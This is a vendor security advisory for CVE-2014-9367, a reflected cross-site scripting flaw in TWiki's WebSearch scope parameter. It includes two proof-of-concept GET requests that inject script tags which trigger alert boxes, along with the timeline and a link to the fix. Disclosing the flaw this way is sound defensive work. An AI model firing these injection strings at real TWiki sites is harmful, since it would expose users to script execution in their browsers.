Information
--------------------
Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability with Scope and Other URL Parameters of WebSearch
Affected Software: TWiki
Affected Versions: 6.0.1 and possibly below
Vendor Homepage: http://www.twiki.org/
Vulnerability Type: Cross-site Scripting
Severity: Important
CVE ID: CVE-2014-9367
Invicti Advisory Reference: NS-14-042

Impact
--------------------

A malicious person can use specially crafted URL parameters to TWiki's WebSearch topic that execute arbitrary JavaScript code in the browser. Examples:

Specially crafted parameter to the view script of TWiki:

GET /do/view/TWiki/WebSearch?search=Search&scope='"--></style></script><script>alert('CVE-2014-9367 vulnarable!')</script>

TWiki decodes the URL parameters and pops up a JavaScript alert box showing "CVE-2014-9367 vulnarable!"

Technical Details
--------------------
/bin/view/TWiki/WebSearch?search=Search&scope='"--></style></scRipt><scRipt>alert(0x000BFE)</scRipt>&web=TWiki

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------
09/12/2014 - First Contact
09/12/2014 - Vulnerability Fixed
18/12/2014 - Advisory Released

Solution
--------------------
http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-9367

Credits & Authors
--------------------
These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
--------------------
Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.